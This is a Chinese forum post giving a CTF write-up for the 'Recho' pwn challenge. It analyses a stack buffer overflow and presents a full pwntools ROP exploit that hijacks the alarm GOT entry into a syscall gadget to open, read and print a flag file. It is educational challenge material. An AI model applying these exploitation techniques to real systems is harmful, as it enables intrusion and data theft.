学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

47

积分

0

好友

3

主题

[Pwn] 学习题解

发表于 2021-8-11 18:50:13 | 查看: 363| 回复: 2

相关题目:

♦ Recho

1.保护情况:checksec 可以发现是GOT表可写的,没有Canary保护
知识扩展:Partial RELRO一直段在初始化之后会被标记为只读。在Ubuntu16.06(GCC-5.4.0)上,默认GOT表可写。

学习题解

学习题解


2.IDA分析:

学习题解

学习题解

主体部分是循环函数,从标准输入流输入截取数字(atoi函数的作用),在第二个read函数存在缓冲区溢出漏洞,直截取40个字符,v6[40]=0.

学习题解

学习题解

注意到Ctrl+Z在终端可以打断循环的。
3.观察:
Shift+ F12,查看字符串,发现发现flag字符,一般远程服务器的桌面会存在flag文件,此外可以发现alarm函数.

学习题解

学习题解

alarm函数的学习:alarm()用来设置信号SIGALRM 在经过参数seconds 指定的秒数后传送给目前的进程. 如果参数seconds 为0, 则之前设置的闹钟会被取消, 并将剩下的时间返回.

学习题解

学习题解

学习题解

学习题解

具体的alarm函数可以用gdb调试,发现调用syscall,即系统调用函数。

学习题解

学习题解

bss段可以写入。

学习题解

学习题解

4.利用思路学习:由于while函数的作用,要求只能在一次循环中利用漏洞,因为每次函数的帧栈会被消除。ROP显然是一种思路。
参考其他人的思路之后,fd=open('flag',READONLY),利用syscall触发,syscall的可以修改GOT表实现,read(fa,&bss,0x200),write(1,&bss,0x200):flag从远程桌面文件到fd指针再到bss段,在读出到标准输出流。
ROPgadget --binary Recho --only "add|ret" 注意格式,指令之间不能有空格,add | ret会返回空。
from pwn import *
context.log_level = 'debug'
# io = process('./Recho') 本地调试
#io = remote(str(ip),port)
elf = ELF('./Recho')
# ROPgadget --binary Recho --only "pop|ret"
pop_rdi = 0x4008a3
pop_rdx = 0x4006fe
pop_rax = 0x4006fc
pop_rsi_r15 = 0x4008a1
# ROPgadget --binary Recho --only "add|ret"
rdi_add = 0x40070d
# 获取字符串地址
flag_addr = elf.symbols['flag']
# elf为pwntools的子模块,符号查找,plt,got,symbols方法常用
bss = elf.bss()
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_plt = elf.plt['alarm']
# alarm_got是指针,指向alarm地址,由gdb中偏移0x05位可以修改为syscall的地址
alarm_got = elf.got['alarm']
read_got = elf.got['read']

payload = 'a'*0x30  #覆盖buf[40]; // [rsp+10h] [rbp-30h]
payload +='a'*0x08  #覆盖 rbp
# alarm GOT表劫持到syscall位置
payload += p64(pop_rax)+p64(0x5) # al = 0x05
payload += p64(pop_rdi)+p64(alarm_got)
payload += p64(rdi_add)  
# -------fd=open('flag',READONLY)-----

payload += p64(pop_rdi)+p64(flag_addr)  #rdi='flag
payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
payload += p64(pop_rdx)+p64(0) # rdx = 0
payload += p64(pop_rax)+p64(0x2) # rax=2,open的调用号为2
# 执行alarm完成GOT表劫持,syscall的传参顺序是rdi,rsi,rdx,r10,r9,r8

payload += p64(alarm_plt)
# 将flag传回的值写入到bss段 read(fd,stdin_buffer,100)

payload += p64(pop_rdi)+p64(3) #open()打开文件返回的文件描述符一般从3开始,系统环境不一样也可能不是3,依次顺序增加
payload += p64(pop_rdx)+p64(0x2d) #指定长度
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi = 写入的地址,用于存取open结果
payload += p64(read_plt)
# 输出flag值,write(1,bss,0x40),也可以用print函数
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi = bss
payload += p64(pop_rdx)+p64(0x40) # rdx =0x40
payload += p64(pop_rdi)+p64(0x01) # rdi = 1
payload += p64(write_plt)
# 用printf 函数时,要注意bss段的可写性,bss此时应改为0x601090或者0x601070
# payload+=p64(pop_rdi)+p64(bss)+p64(printf_plt)  

io.sendline(str(0x200))
# log.info('the length of payload is:',format(hex(len(payload))))
print 'the length of payload is:',format(hex(len(payload)))
payload = payload.ljust(0x200,'\x00')
io.send(payload)
io.recv()
io.shutdown('send')
io.interactive()







温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
发表于 2021-8-29 12:21:01
厉害厉害
发表于 2021-9-12 08:38:01
饮水思源,吃水不忘挖井人!
关闭

论坛公告上一条 /1 下一条

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2021-10-17 05:33 , Processed in 0.112653 second(s), 49 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表